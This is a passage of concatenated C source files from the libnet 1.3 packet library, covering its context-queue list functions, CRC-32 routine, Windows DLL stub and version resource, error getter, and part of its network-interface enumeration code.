IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" /* private function prototypes */ static libnet_cq_t *libnet_cq_find_internal(libnet_t *); static int libnet_cq_dup_check(libnet_t *, char *); static libnet_cq_t *libnet_cq_find_by_label_internal(char *label); /* global context queue */ static libnet_cq_t *l_cq = NULL; static libnet_cqd_t l_cqd = {0, CQ_LOCK_UNLOCKED, NULL}; static int set_cq_lock(uint32_t x) { if (check_cq_lock(x)) { return (0); } l_cqd.cq_lock |= x; return (1); } static int clear_cq_lock(uint32_t x) { if (!check_cq_lock(x)) { return (0); } l_cqd.cq_lock &= ~x; return (1); } int libnet_cq_add(libnet_t *l, char *label) { libnet_cq_t *new_cq; if (l == NULL) { return (-1); } /* check for write lock on the context queue */ if (cq_is_wlocked()) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't add, context queue is write locked", __func__); return (-1); } /* ensure there is a label */ if (label == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): empty label", __func__); return (-1); } /* check to see if we're the first node on the list */ if (l_cq == NULL) { l_cq = (libnet_cq_t *)malloc(sizeof (libnet_cq_t)); if (l_cq == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't malloc initial context queue: %s", __func__, strerror(errno)); return (-1); } l_cq->context = l; /* label the context with the user specified string */ strncpy(l->label, label, LIBNET_LABEL_SIZE); l->label[LIBNET_LABEL_SIZE - 1] = '\0'; l_cq->next = NULL; l_cq->prev = NULL; /* track the number of nodes in the context queue */ l_cqd.node = 1; return (1); } /* check to see if the cq we're about to add is already in the list */ if (libnet_cq_dup_check(l, label)) { /* error message set in libnet_cq_dup_check() */ return (-1); } new_cq = (libnet_cq_t *)malloc(sizeof (libnet_cq_t)); if (new_cq == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't malloc new context queue: %s", __func__, strerror(errno)); return (-1); } new_cq->context = l; /* label the context with the user specified string */ strncpy(l->label, label, LIBNET_LABEL_SIZE); l->label[LIBNET_LABEL_SIZE -1] = '\0'; new_cq->next = l_cq; new_cq->prev = NULL; l_cq->prev = new_cq; l_cq = new_cq; /* track the number of nodes in the context queue */ l_cqd.node++; return (1); } libnet_t * libnet_cq_remove(libnet_t *l) { libnet_cq_t *p; libnet_t *ret; if (l_cq == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't remove from empty context queue", __func__); return (NULL); } if (l == NULL) { return(NULL); } /* check for write lock on the cq */ if (cq_is_wlocked()) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't remove, context queue is write locked", __func__); return (NULL); } if ((p = libnet_cq_find_internal(l)) == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): context not present in context queue", __func__); return (NULL); } if (p->prev) { p->prev->next = p->next; } else { l_cq = p->next; } if (p->next) { p->next->prev = p->prev; } ret = p->context; free(p); /* track the number of nodes in the cq */ l_cqd.node--; return (ret); } libnet_t * libnet_cq_remove_by_label(char *label) { libnet_cq_t *p; libnet_t *ret; if ((p = libnet_cq_find_by_label_internal(label)) == NULL) { /* no context to write an error message */ return (NULL); } if (cq_is_wlocked()) { /* now we have a context, but the user can't see it */ return (NULL); } if (p->prev) { p->prev->next = p->next; } else { l_cq = p->next; } if (p->next) { p->next->prev = p->prev; } ret = p->context; free(p); /* track the number of nodes in the cq */ l_cqd.node--; return (ret); } libnet_cq_t * libnet_cq_find_internal(libnet_t *l) { libnet_cq_t *p; for (p = l_cq; p; p = p->next) { if (p->context == l) { return (p); } } return (NULL); } int libnet_cq_dup_check(libnet_t *l, char *label) { libnet_cq_t *p; for (p = l_cq; p; p = p->next) { if (p->context == l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): context already in context queue", __func__); return (1); } if (strncmp(p->context->label, label, LIBNET_LABEL_SIZE) == 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): duplicate label %s", __func__, label); return (1); } } /* no duplicate */ return (0); } libnet_cq_t * libnet_cq_find_by_label_internal(char *label) { libnet_cq_t *p; if (label == NULL) { return (NULL); } for (p = l_cq; p; p = p->next) { if (!strncmp(p->context->label, label, LIBNET_LABEL_SIZE)) { return (p); } } return (NULL); } libnet_t * libnet_cq_find_by_label(char *label) { libnet_cq_t *p; p = libnet_cq_find_by_label_internal(label); return (p ? p->context : NULL); } const char * libnet_cq_getlabel(libnet_t *l) { return (l->label); } void libnet_cq_destroy() { libnet_cq_t *p = l_cq; libnet_cq_t *tmp; while (p) { tmp = p; p = p->next; libnet_destroy(tmp->context); free(tmp); } l_cq = NULL; memset(&l_cqd, 0, sizeof(l_cqd)); } libnet_t * libnet_cq_head() { if (l_cq == NULL) { return (NULL); } if (!set_cq_lock(CQ_LOCK_WRITE)) { return (NULL); } l_cqd.current = l_cq; return (l_cqd.current->context); } int libnet_cq_last() { if (l_cqd.current) { return (1); } else { return (0); } } libnet_t * libnet_cq_next() { if (l_cqd.current == NULL) { return (NULL); } l_cqd.current = l_cqd.current->next; return (l_cqd.current ? l_cqd.current->context : NULL); } uint32_t libnet_cq_size() { return (l_cqd.node); } uint32_t libnet_cq_end_loop() { if (! clear_cq_lock(CQ_LOCK_WRITE)) { return (0); } l_cqd.current = l_cq; return (1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_crc.c0000664000175000017500000001234714506572036014124 0ustar syqsyq/* * $Id: libnet_crc.c,v 1.5 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_crc.c - CRC routine * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" /* CRC routines based off of sample code in appendix of RFC 2083 */ static uint32_t crc_table[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; /* * Compute the CRC of the contents of a buffer * * CRC generator G(x) is the sum of x^n for * n = 32, 26, 23, 22, 16, 12, 11, 10, 8, 7, 5, 4, 2, 1, 0 */ uint32_t libnet_compute_crc(uint8_t *buf, uint32_t len) { uint32_t val; val = ~0; while (len--) { val = crc_table[(val ^ *buf) & 0xff] ^ (val >> 0x08); buf++; } return (~val); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_dll.c0000664000175000017500000000344314506572036014125 0ustar syqsyq/* * * libnet * libnet_dll.c - low-level win32 dll routines * * Copyright (c) 2002 Roberto Larcher * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #include "packet32.h" BOOL WINAPI DllMain(HINSTANCE hinst, ULONG fdwReason, LPVOID lpReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: break; case DLL_PROCESS_DETACH: break; } return (TRUE); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_dll_info.rc0000664000175000017500000000400014506572036015310 0ustar syqsyq/* * * libnet * libnet_dll_info.rc - DLL version-information resource * * Copyright (c) 2017 Ali Abdulkadir * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ /* * FIXME all this needs to be manually updated. Unless someone bothers to * update libnet_version.c... */ #include VS_VERSION_INFO VERSIONINFO FILEVERSION 1,2,0,0 PRODUCTVERSION 1,2,0,0 FILEFLAGSMASK 0x3fL FILEOS VOS__WINDOWS32 FILETYPE VFT_DLL FILESUBTYPE VFT2_DRV_NETWORK FILEFLAGS 0 BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "Comments", "Provided under the 2-clause BSD License\0" VALUE "CompanyName", "https://github.com/libnet/libnet\0" VALUE "FileDescription", "Portable Packet Construction and Injection API\0" VALUE "FileVersion", "1,2,0,0" VALUE "InternalName", "Libnet\0" VALUE "LegalCopyright", "Copyright (c) The libnet Developer Community.\0" VALUE "LegalTrademarks", "\0" VALUE "OriginalFilename", "libnet-9.dll\0" VALUE "ProductName", "libnet\0" VALUE "ProductVersion", "1.2-rc3" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x0, 1200 END END libnet-1.3/src/libnet_error.c0000664000175000017500000000332414506572036014501 0ustar syqsyq/* * $Id: libnet_error.c,v 1.6 2004/01/03 20:31:02 mike Exp $ * * libnet * libnet_error.c - error handling code * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" char * libnet_geterror(libnet_t *l) { if (l == NULL) { return (NULL); } return (l->err_buf); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_if_addr.c0000664000175000017500000004016114506572036014740 0ustar syqsyq/* * $Id: libnet_if_addr.c,v 1.23 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_if_addr.c - interface selection code * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #ifdef HAVE_SYS_SOCKIO_H #include #endif #ifdef HAVE_SYS_IOCTL_H #include #endif #ifdef HAVE_NET_IF_H #include #endif struct ifaddrlist { #if (HAVE_SOLARIS || HAVE_HPUX11) uint addr; #else uint32_t addr; #endif char *device; }; struct libnet_ifaddr_list { uint32_t addr; char *device; }; #define MAX_IPADDR 512 static size_t ip_addr_num = MAX_IPADDR; #if !(__WIN32__) /* * By testing if we can retrieve the FLAGS of an iface * we can know if it exists or not and if it is up. */ int libnet_check_iface(libnet_t *l) { struct ifreq ifr; int fd, res; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s() socket: %s", __func__, strerror(errno)); return (-1); } strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) -1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; res = ioctl(fd, SIOCGIFFLAGS, (int8_t *)&ifr); if (res < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s() ioctl: %s", __func__, strerror(errno)); } else { if ((ifr.ifr_flags & IFF_UP) == 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s is down", __func__, l->device); res = -1; } } close(fd); return (res); } #endif #if defined(__OpenBSD__) || defined(__linux__) #include #ifdef __OpenBSD__ #include #endif #include int libnet_ifaddrlist(struct libnet_ifaddr_list **ipaddrp, char *dev, char *errbuf) { struct libnet_ifaddr_list *ifaddrlist = NULL; struct ifaddrs *ifap, *ifa; size_t nipaddr = 0; if (getifaddrs(&ifap) != 0) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): getifaddrs: %s", __func__, strerror(errno)); return 0; } ifaddrlist = calloc(ip_addr_num, sizeof(struct libnet_ifaddr_list)); if (!ifaddrlist) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM when allocating initial ifaddrlist", __func__); return (-1); } for (ifa = ifap; ifa; ifa = ifa->ifa_next) { struct libnet_ifaddr_list *al = &ifaddrlist[nipaddr]; if (dev == NULL && (ifa->ifa_flags & IFF_LOOPBACK)) continue; if (ifa->ifa_addr == NULL || ifa->ifa_addr->sa_family != AF_INET) continue; al->device = strdup(ifa->ifa_name); if (al->device == NULL) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM", __func__); continue; } al->addr = ((struct sockaddr_in *)ifa->ifa_addr)->sin_addr.s_addr; nipaddr++; if (nipaddr == ip_addr_num) { struct libnet_ifaddr_list *tmp; /* grow by a factor of 1.5, close enough to golden ratio */ ip_addr_num += ip_addr_num >> 2; tmp = realloc(ifaddrlist, ip_addr_num * sizeof(struct libnet_ifaddr_list)); if (!tmp) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM reallocating ifaddrlist", __func__); break; } ifaddrlist = tmp; } } freeifaddrs(ifap); *ipaddrp = ifaddrlist; return ((int)nipaddr); } #else #if !(__WIN32__) #ifdef HAVE_LINUX_PROCFS /* Unclear (2022) which OSs end up here ... speculative code */ #define PROC_DEV_FILE "/proc/net/dev" #ifndef BUFSIZE #define BUFSIZE 2048 #endif int libnet_ifaddrlist(struct libnet_ifaddr_list **ipaddrp, char *dev, char *errbuf) { struct libnet_ifaddr_list *ifaddrlist = NULL; struct ifreq ibuf[MAX_IPADDR]; size_t nipaddr = 0; struct ifconf ifc; char buf[BUFSIZE]; FILE *fp; int fd; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): socket error: %s", __func__, strerror(errno)); return (-1); } fp = fopen(PROC_DEV_FILE, "r"); if (!fp) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): failed opening %s: %s", __func__, PROC_DEV_FILE, strerror(errno)); goto bad; } memset(&ifc, 0, sizeof(ifc)); ifc.ifc_len = sizeof(ibuf); ifc.ifc_buf = (caddr_t)ibuf; if (ioctl(fd, SIOCGIFCONF, &ifc) < 0) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): ioctl(SIOCGIFCONF) error: %s", __func__, strerror(errno)); goto bad; } ifaddrlist = calloc(ip_addr_num, sizeof(struct libnet_ifaddr_list)); if (!ifaddrlist) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM when allocating initial ifaddrlist", __func__); goto bad; } while (fgets(buf, sizeof(buf), fp)) { struct libnet_ifaddr_list *al = &ifaddrlist[nipaddr]; struct ifreq ifr; char *nm; nm = strchr(buf, ':'); if (!nm) continue; *nm = '\0'; for (nm = buf; *nm == ' '; nm++) ; strncpy(ifr.ifr_name, nm, sizeof(ifr.ifr_name) - 1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = 0; if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) continue; if ((ifr.ifr_flags & IFF_UP) == 0) continue; if (dev == NULL && LIBNET_ISLOOPBACK(&ifr)) continue; if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { if (errno != EADDRNOTAVAIL) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): SIOCGIFADDR: dev=%s: %s", __func__, ifr.ifr_name, strerror(errno)); goto bad; } /* device has no IP address => set to 0 */ al->addr = 0; } else { al->addr = ((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr.s_addr; } al->device = strdup(ifr.ifr_name); if (al->device == NULL) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): strdup not enough memory", __func__); goto bad; } nipaddr++; if (nipaddr == ip_addr_num) { struct libnet_ifaddr_list *tmp; /* grow by a factor of 1.5, close enough to golden ratio */ ip_addr_num += ip_addr_num >> 2; tmp = realloc(ifaddrlist, ip_addr_num * sizeof(struct libnet_ifaddr_list)); if (!tmp) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM reallocating ifaddrlist", __func__); break; } ifaddrlist = tmp; } } if (ferror(fp)) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): ferror: %s", __func__, strerror(errno)); goto bad; } fclose(fp); close(fd); *ipaddrp = ifaddrlist; return ((int)nipaddr); bad: if (ifaddrlist) free(ifaddrlist); if (fp) fclose(fp); close(fd); return (-1); } #else /* !HAVE_LINUX_PROCFS && !__WIN32__ */ #ifdef HAVE_SOCKADDR_SA_LEN #define NEXTIFR(i) ((struct ifreq *)((u_char *)&i->ifr_addr + i->ifr_addr.sa_len)) #else #define NEXTIFR(i) (i + 1) #endif int libnet_ifaddrlist(struct libnet_ifaddr_list **ipaddrp, char *dev, char *errbuf) { struct libnet_ifaddr_list *ifaddrlist = NULL; struct ifreq *ifr, *lifr, *pifr, nifr; struct ifreq ibuf[MAX_IPADDR]; size_t nipaddr = 0; struct ifconf ifc; int fd; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): socket error: %s", __func__, strerror(errno)); return (-1); } memset(&ifc, 0, sizeof(ifc)); ifc.ifc_len = sizeof(ibuf); ifc.ifc_buf = (caddr_t)ibuf; if (ioctl(fd, SIOCGIFCONF, &ifc) < 0) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): ioctl(SIOCGIFCONF) error: %s", __func__, strerror(errno)); goto bad; } pifr = NULL; lifr = (struct ifreq *)&ifc.ifc_buf[ifc.ifc_len]; ifaddrlist = calloc(ip_addr_num, sizeof(struct libnet_ifaddr_list)); if (!ifaddrlist) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): OOM when allocating initial ifaddrlist", __func__); goto bad; } for (ifr = ifc.ifc_req; ifr < lifr; ifr = NEXTIFR(ifr)) { struct libnet_ifaddr_list *al = &ifaddrlist[nipaddr]; char *ptr; /* XXX LINUX SOLARIS ifalias */ ptr = strchr(ifr->ifr_name, ':'); if (ptr) *ptr = '\0'; if (pifr && strcmp(ifr->ifr_name, pifr->ifr_name) == 0) continue; strncpy(nifr.ifr_name, ifr->ifr_name, sizeof(nifr.ifr_name) - 1); nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0'; if (ioctl(fd, SIOCGIFFLAGS, &nifr) < 0) { pifr = ifr; continue; } if ((nifr.ifr_flags & IFF_UP) == 0) { pifr = ifr; continue; } if (dev == NULL && LIBNET_ISLOOPBACK(&nifr)) { pifr = ifr; continue; } if (ioctl(fd, SIOCGIFADDR, &nifr) < 0) { if (errno != EADDRNOTAVAIL) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): SIOCGIFADDR: dev=%s: %s", __func__, nifr.ifr_name, strerror(errno)); goto bad; } /* device has no IP address => set to 0 */ al->addr = 0; } else { al->addr = ((struct sockaddr_in *)&nifr.ifr_addr)->sin_addr.s_addr; } al->device = strdup(nifr.ifr_name); if (al->device == NULL) { snprintf(errbuf, LIBNET_ERRBUF_SIZE, "%s(): strdup not enough memory", __func__); goto bad; } nipaddr++; if (nipaddr == ip_addr_num) { struct libnet_ifaddr_list 